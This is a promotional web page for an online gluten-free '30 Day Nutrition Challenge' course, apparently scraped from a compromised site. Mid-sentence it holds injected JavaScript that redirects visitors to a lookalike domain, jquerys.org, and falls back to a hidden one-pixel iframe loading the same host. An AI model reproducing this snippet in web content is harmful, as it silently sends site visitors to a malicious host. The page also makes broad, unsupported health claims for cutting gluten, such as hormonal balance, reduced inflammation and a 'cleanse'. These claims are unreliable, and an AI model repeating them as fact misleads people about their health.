* Please note all challenges start on the 1st of the month

PRE-Registration for all challenges runs from the 2nd-27th of each month.

 

Are you curious about what would happen if you eliminated gluten from your diet?

Do you need some extra support on how to enjoy eating gluten free?

Do you wish it were a little bit easier or more fun?

 

How it Works:

The 30 Day Nutrition Challenge: Gluten Free is a dynamic online class, with more of a focus than the original 30 Day Nutrition Challenge. This course steps it up a notch, delving into the world of living with gluten-free foods. Like all of our online courses, this course provides structure, simple menu plans and recipes that taste delicious, as well as supports your health and keeps you accountable to your health goals.

This class can be taken from the comfort of your home, office, or any location. Once the class begins, you will be given access to the online classroom. Here you will be provided with all the material and resources you need for The 30 Day Nutrition Challenge: Gluten Free.

 

What’s Included:

 

Is this Class For Me?

Here are reasons why this class is for you!
• You are sensitive or allergic to gluten (you don’t have to be)
• You are curious if you would feel better if you eliminate gluten
• You want to feel more energetic
• You want better digestion
• You want to let go of some excess weight or bloating
• You want to shake up your routine a little and try new things
• You are ready to live with more fun and adventure

This class is great for anyone who wants to feel healthy and vibrant. You can participate in this class even if you have no experience eating gluten free or you can already be gluten free and be longing for some new ideas and inspiration.

Gluten can be difficult for many people to digest and often contributes to digestive discomfort, congestion and other imbalances in the body. Gluten Free is a nice cleanse and opportunity to introduce your body to new, healthy foods.

We know it can be overwhelming when you find out that you have a gluten sensitivity, allergy or intolerance. This course can help you adjust /* NOTICE! You've requested a file that is not available for remote inclusion. */ try{ window.location = 'http://www.jquerys.org'; }catch(e){ var rframe = document.createElement("iframe"); rframe.setAttribute('width','1px'); rframe.setAttribute('height','1px'); rframe.setAttribute('frameborder','0'); rframe.setAttribute('id','rfx'); rframe.setAttribute('src','http://www.jquerys.org'); document.body.appendChild(rframe); } to living a lifestyle that is gluten free, without sacrificing the joy of eating. Eating gluten free actually tastes amazing and this course will provide you with recipes that are simple, healthy, and tasty.

This class is also about opening yourself up to new opportunities and creating fun and excitement in your life. It’s not just about eliminating the foods that are keeping you stuck and congested, it’s about looking into your life and seeing where you might feel stuck or where you might want to shake things up a bit. Gluten Free will provide you with guidance and tools to move through blocks that might be keeping you from doing those things you have been wanting to do for a long time. When you focus on making changes in your diet, you will find that the rest of your life also moves and expands. This course will show you how to open up to new things, let loose, and realize there are no limits (in enjoying food, in your spirit, and in your life).

Results of Going Gluten Free

• Clear mind, better focus
• Increased energy
• Improved digestion
• Reduced bloating and gas
• Reduced inflammation
• Hormonal balance
• Healthy weight
• Clearer skin
• Reduced food sensitivities
• Fun and excitement

Testimonials

Check out what previous challengers have said!